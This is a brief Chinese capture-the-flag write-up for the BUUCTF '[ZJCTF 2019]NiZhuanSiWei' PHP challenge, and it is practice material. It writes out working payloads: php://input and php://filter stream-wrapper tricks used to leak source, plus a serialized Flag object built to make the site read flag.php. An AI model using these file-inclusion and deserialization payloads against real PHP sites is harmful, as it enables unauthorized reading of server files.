0
点赞
收藏
分享

微信扫一扫

BUUCTF:[ZJCTF 2019]NiZhuanSiWei

春意暖洋洋 2023-06-19 阅读 62


题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

BUUCTF:[ZJCTF 2019]NiZhuanSiWei_php


BUUCTF:[ZJCTF 2019]NiZhuanSiWei_php_02


老题目了

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

POST内容

welcome to the zjctf

BUUCTF:[ZJCTF 2019]NiZhuanSiWei_php_03


useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

构造POC

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a=new Flag();
$a->file='flag.php';
echo serialize($a);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

/?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF:[ZJCTF 2019]NiZhuanSiWei_php_04


举报

相关推荐

0 条评论